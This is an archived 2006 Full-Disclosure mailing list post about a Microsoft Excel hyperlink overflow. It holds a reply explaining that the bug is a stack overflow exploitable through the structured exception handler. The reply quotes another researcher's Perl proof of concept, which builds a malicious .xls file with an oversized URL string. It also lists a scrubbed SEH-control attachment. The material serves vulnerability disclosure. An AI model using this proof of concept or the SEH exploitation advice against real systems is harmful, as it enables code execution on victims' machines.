full-disclosure - ***ULTRALAME*** Microsoft Excel Unicode Overflow ***ULTRALAME***

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Wed Jun 21 14:03:25 2006
From: FistFuXXer at gmx.de (FistFuXXer)
Subject: ***ULTRALAME*** Microsoft Excel Unicode Overflow
	***ULTRALAME***

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello kcope,

the vulnerability that you've found isn't an Unicode-based buffer
overflow, Spreadsheet-Perl just converts the string to Unicode and you
can edit it later with a hex editor. It will be much easier to develop
an exploit this way.

It's an ordinary stack overflow that overwrites the memory after the
return address. Until all the write-able stack memory is full and the
application tries to overwrite the read-only memory after it, an
exception happens. So you won't be able to exploit it by using the
return address of the vulnerable 'hlink' function but you can still use
the SE handler for exploitation.

Looks like Microsoft should release security patches ASAP.


Sincerely yours,
Manuel Santamarina Suarez



kcope wrote:
> Microsoft Excel Unicode Overflow
> 
> Hello this is kcope,
> I found a unicode overflow in excel.
> It works in my version of excel, perhaps it is patched or something, I have
> SP3. I know this is ultralame. Attached are some screenies.
> Here are the warezcodez:
> 
> ###############################
> # excelsexywarez.pl
> # excel unicode overflow poc
> # by kcope in 2006
> # thanks to revoguard and alex
> ###############################
> use Spreadsheet::WriteExcel;
> 
>    my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls");
> 
>    $worksheet = $workbook->add_worksheet();
> 
>    $format = $workbook->add_format();
>    $format->set_bold();
>    $format->set_color('red');
>    $format->set_align('center');
> 
>    $col = $row = 5;
>    $worksheet->write($row, $col, "kcope in da house! Click on the
> link!!!", $format);
> 
>    $a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
>    $worksheet->write_url(0, 0, "$a", "LINK");
> 
>    - - kcdarookie
> 
> 
> ------------------------------------------------------------------------
> 
> 
> ------------------------------------------------------------------------
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (MingW32)

iD8DBQFEmIX6PF/cBnCBnL0RAo/JAJ94Dea/vmd/iedDRDwZ359gaI6PJwCgjw2A
25FP9ouRQ9sal0r5AXV2Tho=
=rx7X
-----END PGP SIGNATURE-----
-------------- next part --------------
A non-text attachment was scrubbed...
Name: SEH_control.jpg
Type: image/jpeg
Size: 192264 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060621/6271dd0c/SEH_control-0001.jpg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: SEH_control.xls
Type: application/vnd.ms-excel
Size: 25088 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060621/6271dd0c/SEH_control-0001.xls
-------------- next part --------------
A non-text attachment was scrubbed...
Name: latest_version.jpg
Type: image/jpeg
Size: 53277 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060621/6271dd0c/latest_version-0001.jpg